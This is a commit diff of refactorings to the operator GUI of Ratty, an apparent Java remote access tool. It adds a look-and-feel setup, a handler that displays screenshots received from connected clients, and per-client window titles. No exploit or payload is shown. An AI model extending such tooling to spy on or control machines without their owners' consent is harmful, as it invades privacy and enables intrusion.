Minor changes

Cleanups, refactorings

Ratty/src/de/sogomn/rat/Ratty.java

@@ -1,11 +1,17 @@
 package de.sogomn.rat;
 
+import java.awt.Color;
 import java.io.File;
 import java.io.IOException;
 import java.net.URI;
 import java.net.URISyntaxException;
 
+import javax.swing.JDialog;
+import javax.swing.JFrame;
 import javax.swing.JOptionPane;
+import javax.swing.UIDefaults;
+import javax.swing.UIManager;
+import javax.swing.plaf.nimbus.NimbusLookAndFeel;
 
 import de.sogomn.engine.util.FileUtils;
 import de.sogomn.rat.server.ActiveServer;
@@ -38,6 +44,23 @@ public final class Ratty {
 		//...
 	}
 	
+	private static void setLookAndFeel() {
+		final NimbusLookAndFeel nimbus = new NimbusLookAndFeel();
+		final UIDefaults defaults = nimbus.getDefaults();
+		
+		JFrame.setDefaultLookAndFeelDecorated(true);
+		JDialog.setDefaultLookAndFeelDecorated(true);
+		
+		defaults.put("nimbusBase", Color.LIGHT_GRAY);
+		defaults.put("cotrol", Color.LIGHT_GRAY);
+		
+		try {
+			UIManager.setLookAndFeel(nimbus);
+		} catch (final Exception ex) {
+			ex.printStackTrace();
+		}
+	}
+	
 	private static void readConnectionData() throws ArrayIndexOutOfBoundsException, NumberFormatException {
 		final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME);
 		final String addressString = lines[0].trim();
@@ -110,6 +133,7 @@ public final class Ratty {
 	}
 	
 	public static void main(final String[] args) {
+		setLookAndFeel();
 		readConnectionData();
 		
 		if (DEBUG) {
@@ -131,11 +155,9 @@ public final class Ratty {
 		} else {
 			final int port = getPortInput();
 			
-			if (port == -1) {
-				return;
+			if (port != -1) {
+				startServer(port);
 			}
-			
-			startServer(port);
 		}
 	}
 	

Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java

@@ -34,8 +34,8 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
 		//...
 	}
 	
-	private Screen createScreen(final int width, final int height) {
-		final Screen screen = new Screen(width, height);
+	private Screen createScreen(final int screenWidth, final int screenHeight) {
+		final Screen screen = new Screen(screenWidth, screenHeight);
 		
 		screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
 		screen.setTitle(title);

Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@@ -190,7 +190,7 @@ public final class RattyGui extends AbstractListenerContainer<IGuiController> {
 	}
 	
 	public String getInput() {
-		final String input = JOptionPane.showInputDialog(frame);
+		final String input = JOptionPane.showInputDialog(frame, null);
 		
 		return input;
 	}

Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@@ -1,5 +1,6 @@
 package de.sogomn.rat.server.gui;
 
+import java.awt.image.BufferedImage;
 import java.util.ArrayList;
 
 import de.sogomn.rat.ActiveConnection;
@@ -35,6 +36,12 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs
 	 * ==================================================
 	 */
 	
+	private void showScreenshot(final ServerClient client, final ScreenshotPacket packet) {
+		final BufferedImage image = packet.getImage();
+		
+		client.displayPanel.showImage(image);
+	}
+	
 	private PopupPacket createPopupPacket() {
 		final String input = gui.getInput();
 		
@@ -72,14 +79,26 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs
 	}
 	
 	private boolean handlePacket(final ServerClient client, final IPacket packet) {
-		return false;
+		final Class<? extends IPacket> clazz = packet.getClass();
+		
+		boolean consumed = true;
+		
+		if (clazz == ScreenshotPacket.class) {
+			final ScreenshotPacket screenshot = (ScreenshotPacket)packet;
+			
+			showScreenshot(client, screenshot);
+		} else {
+			consumed = false;
+		}
+		
+		return consumed;
 	}
 	
 	private void handleCommand(final ServerClient client, final String command) {
 		//...
 	}
 	
-	private IPacket getPacket(final String command, final ServerClient client) {
+	private IPacket getPacket(final ServerClient client, final String command) {
 		IPacket packet = null;
 		
 		if (command == RattyGui.FREE) {
@@ -172,7 +191,7 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs
 	@Override
 	public void userInput(final String command) {
 		final ServerClient client = gui.getLastServerClientClicked();
-		final IPacket packet = getPacket(command, client);
+		final IPacket packet = getPacket(client, command);
 		
 		handleCommand(client, command);
 		

Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@@ -18,6 +18,11 @@ final class ServerClient {
 		
 		displayPanel = new DisplayPanel();
 		fileTree = new FileTree();
+		
+		final String address = connection.getAddress();
+		
+		displayPanel.setTitle(address);
+		fileTree.setTitle(address);
 	}
 	
 	public void logIn(final String name, final String os, final String version) {